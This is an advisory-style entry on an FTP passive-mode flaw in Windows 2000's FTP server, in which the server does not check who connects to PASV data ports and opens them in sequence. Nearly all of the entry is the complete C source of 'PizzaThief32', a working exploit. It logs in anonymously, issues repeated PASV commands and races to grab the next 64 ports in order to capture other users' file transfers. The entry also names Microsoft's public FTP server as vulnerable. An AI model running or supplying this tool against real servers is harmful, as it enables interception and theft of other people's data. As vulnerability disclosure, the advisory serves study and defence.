COMMAND

    ftpd

SYSTEMS AFFECTED

    Win2000

PROBLEM

    Greg Hoglund  found following.   Many people  are aware  of an old
    vulnerability with  FTP servers.   The problem  is related  to not
    authenticating the source  address of PASV  port connections.   To
    add insult to  injury, many FTP  servers also open  these ports in
    sequential order.   Now, one would  expect that many  of the older
    installations out on the 'Net  would be vulnerable.  However,  one
    would  not  expect  the  latest  Beta release of Microsoft Windows
    2000 server to have this vulnerability.  Come on people!

    After discovering this problem on my W2k installation, Greg tested
    it against  ftp.microsoft.com.   No surprises..  their public  ftp
    server is vulnerable also.   Now, using FTP w/o  SSH in the  first
    place is a bad  idea.  After looking  around to see if  anyone had
    written a script for this, he found "pizzathief" for solaris:

	http://oliver.efri.hr/~crv/security/bugs/munixes/ftp5.html

    He  re-wrote  the  program  for  NT  and added some features.  The
    source code for "PizzaThief32" follows below:

    /*
     * PizzaThief32 Exploit written by Greg Hoglund <hoglund@ieway.com>
     *
     * Special thanks to Jeffrey R. Gerber for thinking of such a cool name
     * and to Bret McDanel for writing pizzathief for solaris!
     *
     * A common problem with FTP servers around the world results from
     * "passive mode".  A client will issue the PASV command and the
     * server will in turn open a local port and wait for the client to
     * connect.  Once the client connects, the server will transmit the
     * file or directory listing or whatever big chunk of data the client
     * wanted.  The crux of the problem is that many FTP servers do not
     * check the source address of the connecting client.  Hence, if the
     * men in black manage to connect to that port before you do, you lose
     * your file to someone else!  And if this problem wasn't old as mold
     * already, Microsoft's Windows 2000 FTP server (version 5.0 I think)
     * has the problem.  In fact, so does Microsoft's *public* FTP site!
     * And the icing on the cake is many FTP servers open PASV ports in
     * sequential order making the guesswork easy.
     *
     * This 'sploit runs under Windows NT and uses nonblocking i/o to snag
     * as much data as possible.  The code is cleaned up a bit, and the
     * tool will now snag connections in a cycle.
     */

    #include <windows.h>
    #include <stdio.h>
    #include <winsock.h>

    #define NUMSOCK 64
    #define FLAG_VERBOSE    (0x1 << 1)
    #define FLAG_STDOUT             (0x1 << 2)

    int connserver(char *host,int port);
    int netgets(char *buff, int len, int sd);
    void dumpdata(int theSocket, struct in_addr ip, unsigned short port);
    int pizzaman32(struct in_addr ip, unsigned short port);

    unsigned long gFlags = 0;
    unsigned long gTimeout = 5000;



    main(int argc, char **argv)
    {
	    int sd, count;
	    struct in_addr ip;
	    char buff[1024],*ptr1;
	    unsigned short int port;
	    WSADATA wsaData;

	    if(0 != WSAStartup(MAKEWORD(2,0), &wsaData))
	    {
		    WSACleanup();
		    fprintf(stderr, "Could not load winsock DLL\n");
		    exit(0);
	    }

	    if(argc < 2)
	    {
		    fprintf(stderr, "Pizzathief32 for NT!\nFrom the Law Offices of Hoglund, " \
					"McDanel, & Gerber\nUsage: %s [-v -tTimeout -s] " \
						    "<ftpserver>\n options: -v Verbose\n          " \
						    "-t timeout in ms\n          -s dump to stdout\n",argv[0]);
		    exit(0);
	    }

	    count = 0;
	    while(argv[++count][0] == '-'){
		    switch(argv[count][1]){
		    case 'v':
			    gFlags |= FLAG_VERBOSE;
			    break;
		    case 't':
			    if(isdigit(argv[count][2]))
				    gTimeout = atoi(&argv[count][2]);
			    break;
		    case 's':
			    gFlags |= FLAG_STDOUT;
			    break;
		    default:
			    break;
		    }
	    }

	    if( (count < argc)
		    &&
		    ((sd=connserver(argv[count],21)) < 0) )
	    {
		    fprintf(stderr, "could not connect to server");
		    exit(0);
	    }

	    while(1)
	    {
		    if(netgets(buff,sizeof(buff),sd)==0)
		    {
			    fprintf(stderr, "server closed control connection\n");
			    closesocket(sd);
			    exit(0);
		    }

		    if(!strncmp(buff,"220 ",4))
		    {
			    if(FLAG_VERBOSE & gFlags)
				    fprintf(stdout, "requesting username\n");
			    sprintf(buff,"user ftp\n");
			    send(sd,buff,strlen(buff),0);
		    }

		    if(!strncmp(buff,"331 ",4))
		    {
			    if(FLAG_VERBOSE & gFlags)
				    fprintf(stdout, "requesting password\n");
			    sprintf(buff,"pass pizzaman@illuminati.gov\n");
			    send(sd,buff,strlen(buff),0);
		    }

		    if(!strncmp(buff,"230 ",4))
		    {
			    if(FLAG_VERBOSE & gFlags)
				    fprintf(stdout, "we are logged in now\n");
			    sprintf(buff,"pasv\n");
			    send(sd,buff,strlen(buff),0);
		    }

		    if(!strncmp(buff,"530 ",4))
		    {
			    /* invalid password */
			    sprintf(buff,"quit\n");
			    send(sd,buff,strlen(buff),0);
			    closesocket(sd);
			    fprintf(stderr, "User ftp wasnt allowed\n");
			    exit(0);
		    }

		    if(!strncmp(buff,"227 ",4))
		    {
		      char seps[]   = "()";
		      char *token;

		      /* PASV response */
		      if(FLAG_VERBOSE & gFlags)
			      fprintf(stdout, buff);

		      /* first get the ip/port into the buffer */
		      token = strtok(buff,seps);
		      token = strtok((char *)NULL,")");

		      /* now break off the IP part */
		      ptr1=(char *)&ip;
		      ptr1[0]=atoi(strtok(token,","));
		      ptr1[1]=atoi(strtok((char *)NULL,","));
		      ptr1[2]=atoi(strtok((char *)NULL,","));
		      ptr1[3]=atoi(strtok((char *)NULL,","));

		      /* now get the port number */
		      ptr1=(char *)&port;
		      ptr1[0]=atoi(strtok((char *)NULL,","));
		      ptr1[1]=atoi(strtok((char *)NULL,","));
 
		      sprintf(buff,"pasv\n");  // recirculate pasv connection
		      send(sd,buff,strlen(buff),0);
		      pizzaman32(ip,port);
		    }
	    }
	    return(0);
    }

    int connserver(char *host,int port)
    {
	    int sd,addr;
	    struct hostent *he;
	    struct sockaddr_in sa;

	    /* try to resolve the host */
	    if((addr=inet_addr(host))!= -1)
	    {
		    /* dotted decimal */
		    memcpy(&sa.sin_addr,(char *)&addr,sizeof(addr));
	    }
	    else
	    {
		    if((he=gethostbyname(host))==NULL)
		    {
			    fprintf(stderr, "Unable to resolve %s\n", host);
			    return(-1);
		    }
		    memcpy(&sa.sin_addr,he->h_addr,he->h_length);
	    }

	    sa.sin_port=htons(port);
	    sa.sin_family=AF_INET;

	    if((sd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0)
	    {
		    perror("socket");
		    return(-1);
	    }

	    if(connect(sd,(struct sockaddr *)&sa,sizeof(sa))<0)
	    {
		    perror("connect");
		    return(-1);
	    }
	    return(sd);
    }

    int netgets(char *buff, int len, int sd)
    {
	    int i;

	    memset(buff,0,len);
	    for(i=0;i<len;i++)
	    {
		    if(recv(sd,&buff[i],1,0)==0) return(i);
		    if(buff[i]=='\n') return(i);
	    }
	    return(i);
    }

    int pizzaman32(struct in_addr ip, unsigned short port)
    {
	    struct sockaddr_in sa;
	    int sdarray[NUMSOCK];
	    fd_set aConnectSet;
	    unsigned long aFlag = 1;

	    FD_ZERO(&aConnectSet);

	    memcpy(&sa.sin_addr,(char *)&ip,sizeof(ip));
	    sa.sin_family=AF_INET;

	    if(FLAG_VERBOSE & gFlags)
		      fprintf(stdout, "trying ports %d thru %d\n", ntohs(port) + 1,
    ntohs(port) + NUMSOCK);

	    for(int i=0; i<NUMSOCK; i++)
	    {
	      int host_port = ntohs(port) + i + 1;
	      if((sdarray[i] = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0)
	      {
		    perror("socket");
		    return(-1);
	      }

	      ioctlsocket(sdarray[i], FIONBIO, &aFlag);

	      sa.sin_port=htons(host_port);
	      FD_SET(sdarray[i], &aConnectSet);

	      if(connect(sdarray[i],(struct sockaddr *)&sa,sizeof(sa)) == 0)
	      {
		    //immediate connection
		    dumpdata(sdarray[i], ip, host_port);
	      }
	    }
	    Sleep(gTimeout);

	    TIMEVAL t = { 0, 0 }; //polling
	    if(-1 != select( 0, NULL, &aConnectSet, NULL, &t))
	    {
		    for(i=0; i<NUMSOCK; i++)
		    {
			    int host_port = ntohs(port) + i + 1;
			    if(FD_ISSET( sdarray[i], &aConnectSet ))
				    dumpdata(sdarray[i], ip, host_port);

			    closesocket(sdarray[i]);
		    }
	    }
	    return(0);
    }

    void dumpdata(int theSocket, struct in_addr ip, unsigned short port)
    {
	    char buff[1024];
	    int char_recv = 0;
	    FILE *out_file = NULL;
	    char aFilename[32];
	    unsigned long aFlag = 1;

	    memset(aFilename, NULL, sizeof(aFilename));
	    _snprintf(aFilename, sizeof(aFilename), "%s.%d.dat",inet_ntoa(ip), port);

	    // read all data
	    while( (char_recv = recv(theSocket, buff, sizeof(buff)-1, 0) ) > 0)
	    {
		    if(char_recv > 0)
		    {
			    if(aFlag)
			    {
				    aFlag = 0;
				    ioctlsocket(theSocket, FIONBIO, &aFlag); //block on this transfer
			    }
			    if(FLAG_VERBOSE & gFlags)
				    fprintf(stdout, "*** Got data for %s\n", aFilename);

			    if(FLAG_STDOUT & gFlags)
			    {
				    buff[char_recv] = NULL;
				    fprintf(stdout, "%s", buff);
			    }
			    else
			    {
				    if(NULL == out_file)
				    {
					    out_file = fopen(aFilename, "wb");
				    }
				    if(out_file)
				    {
					    fwrite(buff, char_recv, 1, out_file);
				    }
			    }
		    }
	    }
	    if((FLAG_VERBOSE & gFlags) && (0 == char_recv))
		    fprintf(stdout, "server closed connection\n");
	    if(out_file)
		    fclose(out_file);
    }

SOLUTION

    Nothing yet.